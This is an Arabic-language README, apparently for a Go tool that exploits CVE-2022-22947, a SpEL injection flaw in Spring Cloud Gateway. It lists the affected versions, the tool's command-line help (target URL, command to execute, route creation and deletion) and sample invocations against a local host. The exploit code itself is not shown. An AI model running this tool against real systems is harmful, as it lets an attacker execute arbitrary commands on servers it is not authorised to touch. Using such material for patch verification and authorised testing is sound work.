
استغلال مبني على لغة Go لـ CVE-2022-22947، وهي ثغرة حقن SpEL في Spring Cloud Gateway، مما يتيح تنفيذ الأوامر عن بُعد عبر Actuator API.
Spring Cloud Gateway هو بوابة API في Spring. توجد ثغرة حقن تعبير SpEL في الإصدارات 3.1.0 و 3.0.6 (شاملة) وما قبلها، حيث يمكن للمهاجم استغلال هذه الثغرة لتنفيذ أوامر عشوائية إذا تمكن من الوصول إلى Actuator API.
الاستخدام:
➜ ./cve-2022-22947 -h
Usage of cve-2022-22947:
-c string
Execute command, Example: whoami (default "id")
-d Delete route.
-r string
New route name
-u string
Target Url, Example: http://127.0.0.1:8080
# example
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami -r exploit.
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -r exploit -d
المشكلة التي واجهتها: https://darkb1rd.github.io/2022/03/07/yuque/cve-2022-22947%20%E5%B0%8F%E7%82%B9/